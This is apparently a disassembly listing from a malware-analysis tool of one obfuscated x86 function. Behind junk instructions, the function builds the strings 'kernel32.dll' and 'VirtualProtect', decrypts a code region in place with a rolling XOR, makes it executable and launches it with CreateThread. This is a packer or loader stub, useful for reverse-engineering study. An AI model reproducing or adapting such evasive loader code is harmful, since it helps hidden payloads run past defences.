Function at 0x77d470
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push eax
push edx
pop edx
pop eax
call fcn.0077d88d
push ecx
pop ecx
push ebx
pop ebx
lea eax, [ebp - 0xd8]
pushfd
inc edi
dec edi
popfd
mov ebx, 0x61
push edi
push edx
pop edx
pop edi
add bx, 0xa
push ebx
push edi
pop edi
pop ebx
mov word [eax], bx
push edx
push eax
pop eax
pop edx
sub bx, 6
pushfd
push ecx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
push 0x94023556
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
add bx, 0xd
pushfd
push edi
add esp, 4
popfd
mov word [eax + 4], bx
pushfd
push 0x4fbd9a4d
add esp, 4
popfd
sub bx, 4
pushfd
push 0xe5f1d8a
add esp, 4
popfd
mov edx, edx
mov word [eax + 6], bx
push eax
push ecx
pop ecx
pop eax
sub bx, 9
pushfd
push edi
add esp, 4
popfd
mov word [eax + 8], bx
xchg edx, ebx
xchg ebx, edx
push ebx
push edx
pop edx
pop ebx
add bx, 7
push eax
pop eax
pushfd
push 0xd85cb9a9
add esp, 4
popfd
mov word [eax + 0xa], bx
push edx
push ecx
pop ecx
pop edx
push ebx
push edx
pop edx
pop ebx
sub bx, 0x39
pushfd
inc eax
dec eax
popfd
mov word [eax + 0xc], bx
mov ecx, ecx
dec bx
pushfd
push 0x97d1bb28
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0xe], bx
pushfd
inc eax
dec eax
popfd
pushfd
xor ecx, 0xeef50a4f
xor ecx, 0xeef50a4f
popfd
sub bx, 4
pushfd
push 0x5f137891
add esp, 4
popfd
mov word [eax + 0x10], bx
mov eax, eax
pushfd
push ebx
add esp, 4
popfd
add bx, 0x36
pushfd
push 0x886cbee
add esp, 4
popfd
mov word [eax + 0x12], bx
push eax
push edi
pop edi
pop eax
pushfd
push 0xa11a4c2b
add esp, 4
popfd
add bx, 8
nop
pushfd
inc edx
dec edx
popfd
mov word [eax + 0x14], bx
pushfd
xor ebx, 0xaa895a47
xor ebx, 0xaa895a47
popfd
nop
mov word [eax + 0x16], bx
push ecx
push edx
pop edx
pop ecx
push eax
pop eax
mov word [eax + 0x18], 0
push ecx
push edx
pop edx
pop ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov ecx, ecx
mov dword [ebp - 0x10], eax
pushfd
xor edx, 0x1ff6dc59
xor edx, 0x1ff6dc59
popfd
lea eax, [ebp - 0xd8]
xchg ecx, ecx
pushfd
inc esi
dec esi
popfd
mov ebx, 0x61
push ebx
pop ebx
sub bl, 0xb
pushfd
xor edi, 0xb04b99f6
xor edi, 0xb04b99f6
popfd
push edi
push ebx
pop ebx
pop edi
mov byte [eax], bl
xchg esi, esi
xchg edx, eax
xchg edx, eax
add bl, 0x13
nop
xchg edx, ebx
xchg ebx, edx
mov byte [eax + 1], bl
pushfd
push edx
add esp, 4
popfd
add bl, 9
xchg ecx, edi
xchg edi, ecx
push ebx
pop ebx
mov byte [eax + 2], bl
pushfd
xor esi, 0xfd49f939
xor esi, 0xfd49f939
popfd
pushfd
inc ecx
dec ecx
popfd
add bl, 2
xchg ecx, ecx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 3], bl
pushfd
push 0x12df21ac
add esp, 4
popfd
inc bl
pushfd
xor ecx, 0xce8fdbd3
xor ecx, 0xce8fdbd3
popfd
mov byte [eax + 4], bl
push esi
pop esi
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x14
push ebx
pop ebx
push edi
pop edi
mov byte [eax + 5], bl
push ecx
push ebx
pop ebx
pop ecx
pushfd
xor ebx, 0x622feadd
xor ebx, 0x622feadd
popfd
add bl, 0xb
nop
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 6], bl
xchg ecx, ecx
push esi
pop esi
sub bl, 0x1c
push edi
push edx
pop edx
pop edi
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 7], bl
pushfd
push 0x8f2a307f
add esp, 4
popfd
add bl, 0x22
pushfd
push 0x8bbff8d0
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
xor ebx, 0x2b9e1cec
xor ebx, 0x2b9e1cec
popfd
push edx
push eax
pop eax
pop edx
sub bl, 3
mov ebx, ebx
mov byte [eax + 9], bl
mov edi, edi
pushfd
push edi
add esp, 4
popfd
add bl, 5
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
sub bl, 0xf
pushfd
xor ecx, 0x924a17f3
xor ecx, 0x924a17f3
popfd
mov byte [eax + 0xb], bl
xchg edi, edi
xchg edx, ebx
xchg ebx, edx
sub bl, 2
pushfd
push 0x698aea85
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
mov byte [eax + 0xc], bl
push eax
pop eax
xchg edx, ebx
xchg ebx, edx
add bl, 0x11
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xd], bl
pushfd
inc edx
dec edx
popfd
mov ebx, ebx
mov byte [eax + 0xe], 0
pushfd
inc esi
dec esi
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg esi, esi
xchg ebx, edi
xchg edi, ebx
mov dword [ebp - 0xc], eax
pushfd
push 0x2cf30665
add esp, 4
popfd
push edx
pop edx
lea eax, [ebp - 8]
xchg edx, ebx
xchg ebx, edx
push eax
push 4
push 0x252d97
push entry0
call dword [ebp - 0xc]
pushfd
inc eax
dec eax
popfd
pushfd
push eax
add esp, 4
popfd
mov edi, entry0
push ebx
push esi
pop esi
pop ebx
mov esi, 0x40100e
pushfd
inc edx
dec edx
popfd
pushfd
xor esi, 0x4c15d81d
xor esi, 0x4c15d81d
popfd
mov ecx, 0x252d97
pushfd
xor eax, 0x3d6223d1
xor eax, 0x3d6223d1
popfd
xchg esi, edi
xchg edi, esi
mov edx, 0xc87ed5ae
pushfd
push edx
add esp, 4
popfd
pushfd
push 0xe66a1fb2
add esp, 4
popfd
mov ebx, 0xda4e94c3
pushfd
inc ebx
dec ebx
popfd
cld
mov ecx, ecx
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
xchg edi, edi
stosb byte es:[edi], al
xchg ecx, ecx
ror edx, 5
mov ecx, ecx
imul edx, edx, 7
xchg esi, esi
test ebx, 1
xchg edi, edi
je 0x77d7ff
nop
add esi, 1
mov eax, eax
ror ebx, 1
mov ecx, ecx
dec ecx
xchg ecx, ecx
test ecx, ecx
mov edi, edi
jne 0x77d7d9
push ebx
push eax
pop eax
pop ebx
lea eax, [ebp - 8]
xchg edx, esi
xchg esi, edx
push eax
push 0x20
push 0x252d97
push entry0
call dword [ebp - 0xc]
push esi
pop esi
lea eax, [ebp - 4]
pushfd
xor ecx, 0xb9b0ef58
xor ecx, 0xb9b0ef58
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push edx
push edi
pop edi
pop edx
push ecx
push edi
pop edi
pop ecx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push ecx
push esi
pop esi
pop ecx
jmp 0x77d852